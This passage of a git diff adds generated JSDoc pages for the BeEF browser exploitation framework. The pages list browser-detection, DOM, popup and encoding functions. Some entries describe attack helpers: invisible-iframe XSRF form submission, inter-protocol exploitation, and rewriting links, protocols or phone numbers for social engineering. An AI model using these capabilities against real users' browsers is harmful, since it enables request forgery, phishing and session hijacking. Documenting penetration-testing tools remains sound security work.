+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF82()

+ + + + + + +
+

Returns true if FF82

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF83()

+ + + + + + +
+

Returns true if FF83

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF84()

+ + + + + + +
+

Returns true if FF84

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF85()

+ + + + + + +
+

Returns true if FF85

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF86()

+ + + + + + +
+

Returns true if FF86

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF87()

+ + + + + + +
+

Returns true if FF87

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF88()

+ + + + + + +
+

Returns true if FF88

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF89()

+ + + + + + +
+

Returns true if FF89

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF90()

+ + + + + + +
+

Returns true if FF90

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF91()

+ + + + + + +
+

Returns true if FF91

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF92()

+ + + + + + +
+

Returns true if FF92

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF93()

+ + + + + + +
+

Returns true if FF93

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF94()

+ + + + + + +
+

Returns true if FF94

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF95()

+ + + + + + +
+

Returns true if FF95

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF96()

+ + + + + + +
+

Returns true if FF96

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF97()

+ + + + + + +
+

Returns true if FF97

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF98()

+ + + + + + +
+

Returns true if FF98

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF99()

+ + + + + + +
+

Returns true if FF99

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIceweasel()

+ + + + + + +
+

Returns true if Iceweasel.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE()

+ + + + + + +
+

Returns true if IE.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE6()

+ + + + + + +
+

Returns true if IE6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE7()

+ + + + + + +
+

Returns true if IE7.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE8()

+ + + + + + +
+

Returns true if IE8.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE9()

+ + + + + + +
+

Returns true if IE9.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE10()

+ + + + + + +
+

Returns true if IE10.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isIE11()

+ + + + + + +
+

Returns true if IE11.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isMidori()

+ + + + + + +
+

Returns true if Midori.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO()

+ + + + + + +
+

Returns true if Opera.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO9_52()

+ + + + + + +
+

Returns true if Opera 9.50 through 9.52.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO9_60()

+ + + + + + +
+

Returns true if Opera 9.60 through 9.64.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO10()

+ + + + + + +
+

Returns true if Opera 10.xx.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO11()

+ + + + + + +
+

Returns true if Opera 11.xx.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isO12()

+ + + + + + +
+

Returns true if Opera 12.xx.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isOdyssey()

+ + + + + + +
+

Returns true if Odyssey

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS()

+ + + + + + +
+

Returns true if Safari.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS4()

+ + + + + + +
+

Returns true if Safari 4.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS5()

+ + + + + + +
+

Returns true if Safari 5.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS6()

+ + + + + + +
+

Returns true if Safari 6.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS7()

+ + + + + + +
+

Returns true if Safari 7.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isS8()

+ + + + + + +
+

Returns true if Safari 8.xx

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isWebKitBased()

+ + + + + + +
+

Returns true if Webkit based

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) javaEnabled()

+ + + + + + +
+

Checks if the zombie has Java enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) type()

+ + + + + + +
+

Returns the type of browser being used.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.browser.popup.html b/docs/beef.browser.popup.html new file mode 100644 index 000000000..a02526516 --- /dev/null +++ b/docs/beef.browser.popup.html @@ -0,0 +1,223 @@ + + + + + JSDoc: Namespace: popup + + + + + + + + + + +
+ +

Namespace: popup

+ + + + + + +
+ +
+ +

+ .browser.popup

+ + +
+ +
+
+ + +

Provides fuctions for working with cookies. +Several functions adopted from http://davidwalsh.name/popup-block-javascript +Original author unknown.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) blocker_enabled()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.dom.html b/docs/beef.dom.html new file mode 100644 index 000000000..53d5b8022 --- /dev/null +++ b/docs/beef.dom.html @@ -0,0 +1,3688 @@ + + + + + JSDoc: Namespace: dom + + + + + + + + + + +
+ +

Namespace: dom

+ + + + + + +
+ +
+ +

dom

+ + +
+ +
+
+ + +

Provides functionality to manipulate the DOM.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) attachApplet(id:, code:, codebase:, archive:, params:)

+ + + + + + +
+

Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed). +example usage in the code, using a JAR archive (recommended and faster): +beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]); +example usage in the code, using codebase: +beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
id: + + +String + + + +

reference identifier to the applet.

code: + + +String + + + +

name of the class to be loaded. For example, beef.class.

codebase: + + +String + + + +

the URL of the codebase (usually used when loading a single class for an unsigned applet).

archive: + + +String + + + +

the jar that contains the code.

params: + + +String + + + +

an array of additional params that the applet except.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) createElement(type, attributes) → {Array}

+ + + + + + +
+

Creates a new element but does not append it to the DOM.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
type + + +String + + + +

the name of the element.

attributes + + +Array + + + +

the attributes of that element.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the created element.

+
+ + + +
+
+ Type +
+
+ +Array + + +
+
+ + + + + + + + + + + + + +

(static) createForm(params:, append:) → {Object}

+ + + + + + +
+

Create a form element with the specified parameters, appending it to the DOM if append == true

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
params: + + +Hash + + + +

params to be applied to the form element

append: + + +Boolean + + + +

automatically append the form to the body

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

a form object

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) createIframe(type:, params:, styles:, a) → {Object}

+ + + + + + +
+

Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter +is assigned to created iframe tag's src attribute resulting in GET request to that URI. +example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
type: + + +String + + + +

can be 'hidden' or 'fullScreen'. defaults to normal

params: + + +Hash + + + +

list of params that will be sent in request.

styles: + + +Hash + + + +

css styling attributes, these are merged with the defaults specified in the type parameter

a + + +function + + + +

callback function to fire once the iFrame has loaded

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the inserted iFrame

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) createIframeIpecForm(rhost:, rport:, commands:)

+ + + + + + +
+

Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
rhost: + + +String + + + +

remote host ip/domain

rport: + + +String + + + +

remote port

commands: + + +String + + + +

protocol commands to be executed by the remote host:port service

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) createIframeXsrfForm(action:, method:, enctype:, inputs:)

+ + + + + + +
+

Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
action: + + +String + + + +

the form action attribute, where the request will be sent.

method: + + +String + + + +

HTTP method, usually POST.

enctype: + + +String + + + +

form encoding type

inputs: + + +Array + + + +

an array of inputs to be added to the form (type, name, value). +example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) createInvisibleIframe() → {array}

+ + + + + + +
+

Creates an invisible iframe on the hook browser's page.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the iframe.

+
+ + + +
+
+ Type +
+
+ +array + + +
+
+ + + + + + + + + + + + + +

(static) detachApplet(id:)

+ + + + + + +
+

Given an id, remove the applet from the DOM.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
id: + + +String + + + +

reference identifier to the applet.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) generateID(prefix) → {String}

+ + + + + + +
+

Generates a random ID for HTML elements

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
prefix + + +String + + + +

a custom prefix before the random id. defaults to "beef-"

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

generated id

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getHighestZindex(whether) → {Integer|Hash}

+ + + + + + +
+

Returns the highest current z-index

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
whether + + +Boolean + + + +

to return an associative array with the height AND the ID of the element

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+
    +
  • +
    +

    Highest z-index in the DOM +OR

    +
    + + + +
    +
    + Type +
    +
    + +Integer + + +
    +
    +
  • + +
  • +
    +

    A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}

    +
    + + + +
    +
    + Type +
    +
    + +Hash + + +
    +
    +
  • +
+ + + + + + + + + + + + + + + + + + +
+

Get links of the current page.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

array of URLs.

+
+ + + + + + + + + + + + + + + +

(static) getLocation()

+ + + + + + +
+

Get the location of the current page.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the location.

+
+ + + + + + + + + + + + + + + +

(static) grayOut(vis:, options:)

+ + + + + + +
+

Load a full screen div that is black, or, transparent

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
vis: + + +Boolean + + + +

whether or not you want the screen dimmer enabled or not

options: + + +Hash + + + +

a collection of options to customise how the div is configured, as follows: +opacity:0-100 // Lower number = less grayout higher = more of a blackout +// By default this is 70 +zindex: # // HTML elements with a higher zindex appear on top of the gray out +// By default this will use beef.dom.getHighestZindex to always go to the top +bgcolor: (#xxxxxx) // Standard RGB Hex color code +// By default this is #000000

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isDOMElement(the) → {boolean}

+ + + + + + +
+

Tests if the object is a DOM element.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
the + + +Object + + + +

DOM element.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true if the object is a DOM element.

+
+ + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) parseAppletParams(an) → {String}

+ + + + + + +
+

Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
an + + +Array + + + +

array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the parameters as a string ready to append to applet/embed/object tags (ex.: ).

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) persistentIframe()

+ + + + + + +
+

Load the link (href value) in an overlay foreground iFrame. +The BeEF hook continues to run in background. +NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses +Framebusting techniques, this will not work.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) removeElement(el)

+ + + + + + +
+

Removes element from the DOM.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
el + + +Object + + + +

the target element to be removed.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) removeStylesheets()

+ + + + + + +
+

Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering, +or, re-writing a document this is useful.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Rewrites all links matched by selector to url, also rebinds the click method to simply return true

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
url: + + +String + + + +

the url to be rewritten

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + +

(static) rewriteLinksClickEvents(url:, selector:) → {Number}

+ + + + + + +
+

Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting. +http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
url: + + +String + + + +

the url to be rewritten

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + +

(static) rewriteLinksProtocol(old_protocol:, new_protocol:, selector:) → {Number}

+ + + + + + +
+

Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
old_protocol: + + +String + + + +

the old link protocol to be rewritten

new_protocol: + + +String + + + +

the new link protocol to be written

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + + + + + + + + +
+

Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
new_number: + + +String + + + +

the new link telephone number to be written

selector: + + +String + + + +

the jquery selector statement to use, defaults to all a tags.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the amount of links found in the DOM and rewritten.

+
+ + + +
+
+ Type +
+
+ +Number + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.encode.base64.html b/docs/beef.encode.base64.html new file mode 100644 index 000000000..6248a5853 --- /dev/null +++ b/docs/beef.encode.base64.html @@ -0,0 +1,740 @@ + + + + + JSDoc: Namespace: base64 + + + + + + + + + + +
+ +

Namespace: base64

+ + + + + + +
+ +
+ +

base64

+ + +
+ +
+
+ + +

Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) decode(input) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
input + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) encode(input) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
input + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) utf8_decode(utftext) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
utftext + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) utf8_encode(string) → {string}

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
string + + +string + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.encode.json.html b/docs/beef.encode.json.html new file mode 100644 index 000000000..11e9b1995 --- /dev/null +++ b/docs/beef.encode.json.html @@ -0,0 +1,392 @@ + + + + + JSDoc: Namespace: json + + + + + + + + + + +
+ +

Namespace: json

+ + + + + + +
+ +
+ +

json

+ + +
+ +
+
+ + +

Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) quoteString(string)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
string + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) stringify(o)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
o + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
